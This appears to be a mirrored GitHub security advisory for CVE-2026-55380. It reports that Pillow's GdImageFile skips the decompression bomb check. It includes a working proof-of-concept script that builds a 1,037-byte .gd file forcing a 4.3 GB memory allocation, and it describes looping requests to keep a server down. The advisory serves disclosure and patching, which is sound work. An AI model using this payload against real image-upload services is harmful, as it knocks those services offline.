GHSA-phj9-mv4w-65pm

Опубликовано: 20 июл. 2026

Источник: github

Github: Прошло ревью

CVSS3: 7.5

Описание

Pillow GdImageFile._open(): image dimensions accepted without _decompression_bomb_check()

Description

PIL/GdImageFile.py GdImageFile._open() reads image dimensions from the GD 2.x header and stores them in self._size without calling Image._decompression_bomb_check(). Because GdImageFile is not registered with Image.register_open(), it never passes through the standard Image.open() code path that enforces Pillow's decompression bomb guard. The plugin exposes its own entry point — PIL.GdImageFile.open(fp) — which directly instantiates the class, fully bypassing the documented protection.

Vulnerable code (PIL/GdImageFile.py lines 50–61):

def _open(self) -> None: s = self.fp.read(1037) if i16(s) not in [65534, 65535]: raise SyntaxError("Not a valid GD 2.x .gd file") self._mode = "P" self._size = i16(s, 2), i16(s, 4) # ← unsigned 16-bit; max 65535 each # NO _decompression_bomb_check() call here ← ... self.tile = [ImageFile._Tile("raw", (0, 0) + self.size, 1037, "L")]

When load() is subsequently called on the returned image object:

load() → load_prepare() → Image.core.new("P", (65535, 65535)) # ↑ C-level allocation of 4,294,836,225 bytes ≈ 4.3 GB — no Python bomb check precedes this

Dimension arithmetic:

Field	Value
Maximum width from header	65,535 (unsigned 16-bit)
Maximum height from header	65,535 (unsigned 16-bit)
Maximum pixel count	65,535 × 65,535 = 4,294,836,225
`DecompressionBombError` threshold	178,956,970 (2 × MAX_IMAGE_PIXELS)
Overshoot ratio	24× above DecompressionBombError threshold
Memory at max dimensions	≈ 4.3 GB (palette-mode: 1 byte/pixel)
Minimum attack file size	1,037 bytes (header only — no pixel data needed)

Comparison with safe sibling plugin (WalImageFile):

WalImageFile is in the same category — not registered with Image.open(), loaded via its own open() helper. It was previously patched with the correct fix:

# PIL/WalImageFile.py line 46 — CORRECT pattern (already patched) self._size = i32(header, 32), i32(header, 36) Image._decompression_bomb_check(self.size) # ← present

GdImageFile was never updated to match, leaving a gap in protection.

Steps to reproduce

Proof of Concept script:

#!/usr/bin/env python3 """ PoC: GdImageFile decompression bomb bypass 1037-byte crafted .gd file → 4.3 GB C-heap allocation, NO bomb check """ import io, struct from PIL import GdImageFile, Image # Build minimal 1037-byte GD 2.x palette-mode header: # sig(2) + width(2) + height(2) + true_color(1) + tindex(4) + colors_used(2) + palette(1024) sig = struct.pack(">H", 0xFFFE) # 65534 = GD 2.x magic w = struct.pack(">H", 65535) # max width h = struct.pack(">H", 65535) # max height true_color = b"\x00" # 0 = palette mode tindex = struct.pack(">I", 0xFFFFFFFF) # > 255 = no transparency colors_used = b"\x00\x00" palette_data = b"\x00" * 1024 header = sig + w + h + true_color + tindex + colors_used + palette_data assert len(header) == 1037 # Confirm: standard Image.open() path BLOCKS this size try: Image._decompression_bomb_check((65535, 65535)) except Image.DecompressionBombError as e: print(f"[BLOCKED] Image.open() path: {e}") # Vulnerable path: GdImageFile.open() has NO bomb check img = GdImageFile.open(io.BytesIO(header)) print(f"[BYPASS] GdImageFile.open() succeeded: size={img.size}, mode={img.mode}") print(f" No _decompression_bomb_check called — 4.3 GB allocation not blocked") # Trigger load_prepare() → Image.core.new("P", (65535, 65535)) try: img.load() except OSError: print(f"[INFO] load() OSError (no pixel data) — but C-heap allocation already attempted") print(f"\n[MATH] {65535 * 65535:,} pixels = {65535*65535 / (Image.MAX_IMAGE_PIXELS*2):.1f}× error threshold") print(f"[MATH] Attack file: 1,037 bytes only")

Expected output:

[BLOCKED] Image.open() path: Image size (4294836225 pixels) exceeds limit of 178956970 pixels, could be decompression bomb DOS attack. [BYPASS] GdImageFile.open() succeeded: size=(65535, 65535), mode=P No _decompression_bomb_check called — 4.3 GB allocation not blocked [INFO] load() OSError (no pixel data) — but C-heap allocation already attempted [MATH] 4,294,836,225 pixels = 24.0× error threshold [MATH] Attack file: 1,037 bytes only

Verified live on Pillow 12.2.0.

Two attack paths:

Path	File size	Effect
Transient (header only)	1,037 bytes	`load_prepare()` attempts 4.3 GB C allocation → `OSError` after spike
Persistent (full pixel data)	~4.3 GB	`load()` completes, 4.3 GB stays in memory for object lifetime

For the transient path, a 1,037-byte file is all that is needed. The attacker does not need to upload a large file.

Real-world scenario:

from PIL import GdImageFile # Application accepts user-uploaded .gd files img = GdImageFile.open(user_uploaded_file) # succeeds — no bomb check img.load() # triggers 4.3 GB C-heap allocation

Impact

Availability: HIGH — a single 1,037-byte malicious .gd file causes the host process to attempt a ~4.3 GB C-heap allocation. On systems with insufficient memory this crashes the process. Repeatable — attacker can loop requests to keep the server down.
Confidentiality: None
Integrity: None
Authentication required: No — any public endpoint accepting image uploads is affected
User interaction: None

Any service that calls PIL.GdImageFile.open(user_file) followed by .load() (or any lazy-load trigger) is vulnerable. Because the attack requires only a 1,037-byte file, network bandwidth is not a constraint.

Confirmed unpatched on python-pillow/Pillow main branch as of 2026-06-08.

Ссылки

Пакеты

Наименование

pillow

pip

Затронутые версииВерсия исправления

< 12.3.0

12.3.0

EPSS

Процентиль: 34%

0.00418

Низкий

7.5 High

CVSS3

CVE ID

CVE-2026-55380

Дефекты

CWE-789

Связанные уязвимости

CVE-2026-55380

CVSS3: 7.5

ubuntu

25 дней назад

Pillow is a Python imaging library. Prior to 12.3.0, PIL/GdImageFile.py GdImageFile._open() read image dimensions from the GD 2.x header and stored them in self._size without calling Image._decompression_bomb_check(), allowing a crafted .gd file to trigger excessive C-heap allocation when loaded. This issue is fixed in version 12.3.0.